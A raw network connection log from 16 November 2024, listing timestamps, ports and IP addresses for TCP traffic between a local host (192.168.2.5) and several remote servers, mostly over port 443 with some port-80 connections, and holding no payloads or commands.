Nov 16, 2024 23:36:23.195414066 CET	443	49738	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.196499109 CET	49738	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.196532965 CET	443	49738	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.197446108 CET	49738	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.197458029 CET	443	49738	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.216316938 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.216703892 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.216722012 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.217108011 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.217114925 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.221062899 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.221378088 CET	49739	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.221394062 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.222255945 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.222338915 CET	49739	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.222345114 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.223181009 CET	49741	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.223211050 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.223937988 CET	49741	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.223946095 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.290633917 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.291881084 CET	49742	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.291901112 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.292371035 CET	49742	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.292377949 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.294883966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:23.295185089 CET	49747	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:23.302608013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:23.302654982 CET	80	49747	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:23.302738905 CET	49747	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:23.303141117 CET	49747	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:23.303168058 CET	49747	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:23.311532974 CET	80	49747	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:23.311563969 CET	80	49747	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:23.330041885 CET	443	49738	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.330236912 CET	443	49738	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.330398083 CET	49738	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.330506086 CET	49738	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.330532074 CET	443	49738	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.330549002 CET	49738	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.330557108 CET	443	49738	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.335887909 CET	49748	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.335916996 CET	443	49748	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.335990906 CET	49748	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.336117029 CET	49748	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.336127996 CET	443	49748	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.351790905 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.351898909 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.351994991 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.352327108 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.352327108 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.352364063 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.352391958 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.355276108 CET	49749	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.355319023 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.355395079 CET	49749	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.355520010 CET	49749	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.355552912 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.358841896 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.358913898 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.358966112 CET	49741	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.359059095 CET	49741	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.359070063 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.359083891 CET	49741	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.359088898 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.360196114 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.360630989 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.360687017 CET	49739	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.360739946 CET	49739	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.360752106 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.360768080 CET	49739	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.360774994 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.362451077 CET	49750	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.362469912 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.362531900 CET	49750	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.362641096 CET	49750	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.362651110 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.363579035 CET	49751	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.363600969 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.363677025 CET	49751	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.363823891 CET	49751	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.363852978 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.426690102 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.426892042 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.426955938 CET	49742	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.427174091 CET	49742	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.427205086 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.427232027 CET	49742	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.427247047 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.430046082 CET	49752	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.430061102 CET	443	49752	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.430130005 CET	49752	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.430291891 CET	49752	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:23.430305004 CET	443	49752	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:23.986646891 CET	443	49744	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:23.986869097 CET	49744	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:23.988809109 CET	49744	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:23.988838911 CET	443	49744	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:23.989085913 CET	443	49744	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:23.990470886 CET	49744	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:24.031377077 CET	443	49744	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:24.070425987 CET	443	49748	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.071234941 CET	49748	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.071259022 CET	443	49748	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.071679115 CET	49748	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.071687937 CET	443	49748	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.077378035 CET	49754	443	192.168.2.5	142.250.186.174
Nov 16, 2024 23:36:24.077418089 CET	443	49754	142.250.186.174	192.168.2.5
Nov 16, 2024 23:36:24.077948093 CET	49754	443	192.168.2.5	142.250.186.174
Nov 16, 2024 23:36:24.078187943 CET	49754	443	192.168.2.5	142.250.186.174
Nov 16, 2024 23:36:24.078197002 CET	443	49754	142.250.186.174	192.168.2.5
Nov 16, 2024 23:36:24.096390009 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.098031044 CET	49749	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.098063946 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.101494074 CET	49749	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.101510048 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.110903025 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.111206055 CET	49751	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.111222982 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.113234997 CET	49751	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.113246918 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.114487886 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.115025043 CET	49750	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.115046024 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.115278006 CET	49750	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.115286112 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.180015087 CET	443	49752	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.181128979 CET	49752	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.181149960 CET	443	49752	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.181613922 CET	49752	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.181617975 CET	443	49752	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.211884975 CET	443	49748	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.212001085 CET	443	49748	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.213913918 CET	49748	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.213913918 CET	49748	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.213913918 CET	49748	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.223032951 CET	49755	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.223089933 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.223290920 CET	49755	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.223290920 CET	49755	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.223335981 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.237569094 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:24.237823963 CET	49743	443	192.168.2.5	4.245.163.56
Nov 16, 2024 23:36:24.241590023 CET	49743	443	192.168.2.5	4.245.163.56
Nov 16, 2024 23:36:24.241595984 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:24.241899967 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:24.246655941 CET	443	49744	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:24.246706009 CET	443	49744	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:24.246929884 CET	49744	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:24.248213053 CET	49744	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:24.248213053 CET	49744	443	192.168.2.5	184.28.90.27
Nov 16, 2024 23:36:24.248250008 CET	443	49744	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:24.248275042 CET	443	49744	184.28.90.27	192.168.2.5
Nov 16, 2024 23:36:24.258416891 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.258717060 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.259031057 CET	49751	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.259239912 CET	49751	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.259253025 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.259375095 CET	49751	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.259390116 CET	443	49751	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.261483908 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.261588097 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.261660099 CET	49749	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.265444040 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.265495062 CET	49756	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.265583992 CET	443	49756	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.265588045 CET	49749	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.265588045 CET	49749	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.265618086 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.265639067 CET	443	49749	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.265662909 CET	49756	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.265666962 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.266175985 CET	49750	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.266427040 CET	49750	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.266427040 CET	49750	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.266438961 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.266448975 CET	443	49750	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.267463923 CET	49756	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.267501116 CET	443	49756	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.278567076 CET	49757	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.278604031 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.278832912 CET	49757	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.279131889 CET	49757	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.279140949 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.280703068 CET	49758	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.280730009 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.281302929 CET	49758	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.281302929 CET	49758	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.281358957 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.294406891 CET	49743	443	192.168.2.5	4.245.163.56
Nov 16, 2024 23:36:24.324651957 CET	443	49752	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.324956894 CET	443	49752	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.325040102 CET	49752	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.325823069 CET	49752	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.325830936 CET	443	49752	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.325860977 CET	49752	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.325865984 CET	443	49752	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.333038092 CET	49759	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.333072901 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.333674908 CET	49759	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.333674908 CET	49759	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.333702087 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.527349949 CET	49748	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.527371883 CET	443	49748	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.710304976 CET	80	49747	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:24.710427046 CET	49747	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:24.810154915 CET	49747	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:24.823097944 CET	80	49747	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:24.828641891 CET	49734	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:24.828655005 CET	49754	443	192.168.2.5	142.250.186.174
Nov 16, 2024 23:36:24.979264021 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.979691982 CET	49755	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.979712963 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.980129957 CET	49755	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:24.980134964 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:24.994427919 CET	49743	443	192.168.2.5	4.245.163.56
Nov 16, 2024 23:36:25.034189939 CET	443	49756	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.034682989 CET	49756	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.034763098 CET	443	49756	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.035084963 CET	49756	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.035104036 CET	443	49756	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.035373926 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:25.036051035 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.036415100 CET	49758	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.036451101 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.036801100 CET	49758	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.036813021 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.041052103 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.041412115 CET	49757	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.041431904 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.041909933 CET	49757	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.041914940 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.094352961 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.094773054 CET	49759	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.094789028 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.095338106 CET	49759	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.095344067 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.140957117 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.141019106 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.141064882 CET	49755	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.141326904 CET	49755	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.141341925 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.141350985 CET	49755	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.141355991 CET	443	49755	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.144032955 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.144115925 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.144232035 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.144341946 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.144371033 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.181889057 CET	443	49756	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.182033062 CET	443	49756	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.182102919 CET	49756	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.182184935 CET	49756	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.182214975 CET	443	49756	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.182264090 CET	49756	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.182280064 CET	443	49756	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.184582949 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.184604883 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.184863091 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.185009956 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.185025930 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.186902046 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.187064886 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.187220097 CET	49757	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.187242985 CET	49757	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.187252998 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.187262058 CET	49757	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.187267065 CET	443	49757	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.189388990 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.189475060 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.189554930 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.189698935 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.189734936 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.203551054 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.203716993 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.203771114 CET	49758	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.203810930 CET	49758	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.203810930 CET	49758	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.203830004 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.203851938 CET	443	49758	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.205974102 CET	49766	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.205986977 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.206218958 CET	49766	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.206362963 CET	49766	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.206384897 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.274559021 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.274816036 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.274880886 CET	49759	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.274931908 CET	49759	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.274947882 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.274957895 CET	49759	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.274962902 CET	443	49759	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.278249979 CET	49767	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.278315067 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.278388977 CET	49767	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.278542995 CET	49767	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.278564930 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.356221914 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:25.356283903 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:25.356303930 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:25.356348038 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:25.356349945 CET	49743	443	192.168.2.5	4.245.163.56
Nov 16, 2024 23:36:25.356390953 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:25.356405973 CET	49743	443	192.168.2.5	4.245.163.56
Nov 16, 2024 23:36:25.356412888 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:25.356445074 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:25.356463909 CET	49743	443	192.168.2.5	4.245.163.56
Nov 16, 2024 23:36:25.356473923 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:25.356502056 CET	49743	443	192.168.2.5	4.245.163.56
Nov 16, 2024 23:36:25.358403921 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:25.358463049 CET	49743	443	192.168.2.5	4.245.163.56
Nov 16, 2024 23:36:25.358473063 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:25.402170897 CET	49743	443	192.168.2.5	4.245.163.56
Nov 16, 2024 23:36:25.461899042 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:25.461951971 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:25.462040901 CET	49743	443	192.168.2.5	4.245.163.56
Nov 16, 2024 23:36:25.595643044 CET	80	49747	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:25.595727921 CET	49747	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:25.892363071 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.893063068 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.893115997 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.893809080 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.893822908 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.941493988 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.942054033 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.942063093 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.942601919 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.942608118 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.951812029 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.952395916 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.952446938 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.952797890 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.952812910 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.953931093 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.954227924 CET	49766	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.954236984 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:25.954684973 CET	49766	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:25.954689980 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.035640955 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.035765886 CET	443	49763	13.107.246.45	192.168.2.5
